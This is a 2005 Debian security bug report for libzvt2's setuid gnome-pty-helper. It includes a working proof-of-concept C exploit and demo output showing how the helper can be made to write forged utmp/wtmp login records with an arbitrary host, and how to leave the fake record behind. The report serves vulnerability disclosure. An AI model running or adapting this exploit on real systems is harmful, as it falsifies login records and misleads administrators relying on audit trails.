Bug#329156: /usr/sbin/gnome-pty-helper: writes arbitrary utmp records

Paul Szabo psz at maths.usyd.edu.au
Mon Sep 19 23:01:20 UTC 2005


Package: libzvt2
Version: 1.4.2-19
Severity: critical
File: /usr/sbin/gnome-pty-helper
Justification: root security hole


gnome-pty-helper can be made to write utmp/wtmp records with arbitrary
DISPLAY (host) settings. I am not sure if it can be tricked into erasing
existing records.

Demo output, code below.

Cheers,

Paul Szabo   psz at maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia


OUTPUT:

psz at savona:~$ gnome-pty-helper-exploit xyz & sleep 1; who; ps aux | grep psz; sleep 6; who
[1] 31444
Writing utmp (who) record for DISPLAY=xyz
Running who | grep xyz
psz      pts/2        Sep 20 08:40 (xyz)
utmp (who) record will be cleaned up when we exit.
To leave it behind, kill gnome-pty-helper: kill 31446
Sleeping for 5 secs...
psz      pts/2        Sep 20 08:40 (xyz)
psz      pts/1        Sep 20 08:33 (y622.yt.maths.usyd.edu.au:0.0)
USER       PID %CPU %MEM   VSZ  RSS TTY      STAT START   TIME COMMAND
psz      31358  0.0  0.3 10340 7768 ?        S    08:14   0:00 xterm -T psz at savona -n psz at savona -sb -sl 10000 -ls
psz      31444  0.0  0.0  1484  380 pts/1    S    08:21   0:00 gnome-pty-helper-exploit xyz
psz      31446  0.0  0.0  1696  604 pts/1    S    08:21   0:00 gnome-pty-helper
psz      31454  0.0  0.0  2496  848 pts/1    R+   08:21   0:00 ps aux
[1]+  Done                    gnome-pty-helper-exploit xyz
psz      pts/1        Sep 20 08:33 (y622.yt.maths.usyd.edu.au:0.0)


CODE:

/*
    Must be compiled against (within)
	gnome-libs-1.4.2/zvt
    because it uses *.h files from there.
    Code "stolen" from subshell.c .
*/

#include <sys/types.h>

#include "subshell-includes.h"
#define ZVT_TERM_DO_UTMP_LOG 1
#define ZVT_TERM_DO_WTMP_LOG 2
#define ZVT_TERM_DO_LASTLOG  4

/* Pid of the helper SUID process */
static pid_t helper_pid;

/* The socketpair used for the protocol */
int helper_socket_protocol  [2];

/* The parallel socketpair used to transfer file descriptors */
int helper_socket_fdpassing [2];

#include <sys/socket.h>
#include <sys/uio.h>

static struct cmsghdr *cmptr;
#define CONTROLLEN  sizeof (struct cmsghdr) + sizeof (int)

static int
receive_fd (int helper_fd)
{
	struct iovec iov [1];
	struct msghdr msg;
	char buf [32];
	
	iov [0].iov_base = buf;
	iov [0].iov_len  = sizeof (buf);
	msg.msg_iov      = iov;
	msg.msg_iovlen   = 1;
	msg.msg_name     = NULL;
	msg.msg_namelen  = 0;

	if (cmptr == NULL && (cmptr = malloc (CONTROLLEN)) == NULL)
		return -1;
	msg.msg_control = (caddr_t) cmptr;
	msg.msg_controllen = CONTROLLEN;

	if (recvmsg (helper_fd, &msg, 0) <= 0)
		return -1;

	return *(int *) CMSG_DATA (cmptr);
}

static int
s_pipe (int fd [2])
{
	return socketpair (AF_UNIX, SOCK_STREAM, 0, fd);
}

static void *
get_ptys (int *master, int *slave, int update_wutmp)
{
	GnomePtyOps op;
	int result, n;
	void *tag;
	
	if (helper_pid == -1)
		return NULL;

	if (helper_pid == 0){
		if (s_pipe (helper_socket_protocol) == -1)
			return NULL;

		if (s_pipe (helper_socket_fdpassing) == -1){
			close (helper_socket_protocol [0]);
			close (helper_socket_protocol [1]);
			return NULL;
		}
		
		helper_pid = fork ();
		
		if (helper_pid == -1){
			close (helper_socket_protocol [0]);
			close (helper_socket_protocol [1]);
			close (helper_socket_fdpassing [0]);
			close (helper_socket_fdpassing [1]);
			return NULL;
		}

		if (helper_pid == 0){
			close (0);
			close (1);
			dup2 (helper_socket_protocol  [1], 0);
			dup2 (helper_socket_fdpassing [1], 1);

			/* Close aliases */
			close (helper_socket_protocol  [0]);
			close (helper_socket_protocol  [1]);
			close (helper_socket_fdpassing [0]);
			close (helper_socket_fdpassing [1]);

			execl ("/usr/sbin/gnome-pty-helper", "gnome-pty-helper", NULL);
			exit (1);
		} else {
			close (helper_socket_fdpassing [1]);
			close (helper_socket_protocol  [1]);

			/*
			 * Set the close-on-exec flag for the other
			 * descriptors, these should never propagate
			 * (otherwise gnome-pty-heler wont notice when
			 * this process is killed).
			 */
			fcntl (helper_socket_protocol [0], F_SETFD, FD_CLOEXEC);
			fcntl (helper_socket_fdpassing [0], F_SETFD, FD_CLOEXEC);
		}
	}
	op = GNOME_PTY_OPEN_NO_DB_UPDATE;
	
	if (update_wutmp & ZVT_TERM_DO_UTMP_LOG){
		if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
			op = GNOME_PTY_OPEN_PTY_LASTLOGUWTMP;
		else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
			op = GNOME_PTY_OPEN_PTY_UWTMP;
		else if (update_wutmp & ZVT_TERM_DO_LASTLOG)
			op = GNOME_PTY_OPEN_PTY_LASTLOGUTMP;
		else
			op = GNOME_PTY_OPEN_PTY_UTMP;
	} else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG) {
		if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
			op = GNOME_PTY_OPEN_PTY_LASTLOGWTMP;
		else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
			op = GNOME_PTY_OPEN_PTY_WTMP;
	} else
		if (update_wutmp & ZVT_TERM_DO_LASTLOG)
			op = GNOME_PTY_OPEN_PTY_LASTLOG;
	
	if (write (helper_socket_protocol [0], &op, sizeof (op)) < 0)
		return NULL;
	
	n = read (helper_socket_protocol [0], &result, sizeof (result));
	if (n == -1 || n != sizeof (result)){
		helper_pid = 0;
		return NULL;
	}
	
	if (result == 0)
		return NULL;

	n = read (helper_socket_protocol [0], &tag, sizeof (tag));
	
	if (n == -1 || n != sizeof (tag)){
		helper_pid = 0;
		return NULL;
	}

	*master = receive_fd (helper_socket_fdpassing [0]);
	*slave  = receive_fd (helper_socket_fdpassing [0]);
	
	return tag;
}

int main (int argc, char* argv[])
{
	int slave_pty, master_pty;
	void* mytag;
	int log = ZVT_TERM_DO_UTMP_LOG;
	char buf[1000];

printf("Writing utmp (who) record for DISPLAY=%s\n", argv[1]);
setenv("DISPLAY",argv[1],1);

	if ((mytag = get_ptys (&master_pty, &slave_pty, log)) == NULL)
		return;

sprintf(buf,"who | grep %s",argv[1]);
printf("Running %s\n",buf);
system(buf);
printf("utmp (who) record will be cleaned up when we exit.\n");
printf("To leave it behind, kill gnome-pty-helper: kill %d\n",helper_pid);

printf("Sleeping for 5 secs...\n");
sleep (5);
}



-- System Information:
Debian Release: 3.1
Architecture: i386 (i686)
Kernel: Linux 2.6.8-spm0.5
Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968)

Versions of packages libzvt2 depends on:
ii  gdk-imlib1             1.9.14-16.2       imaging library for use with gtk (
ii  libc6                  2.3.2.ds1-22      GNU C Library: Shared libraries an
ii  libglib1.2             1.2.10-9          The GLib library of C routines
ii  libgtk1.2              1.2.10-17         The GIMP Toolkit set of widgets fo
ii  libx11-6               4.3.0.dfsg.1-14   X Window System protocol client li
ii  xlibs                  4.3.0.dfsg.1-14   X Keyboard Extension (XKB) configu
ii  zlib1g                 1:1.2.2-4.sarge.2 compression library - runtime

-- no debconf information




More information about the Pkg-gnome-maintainers mailing list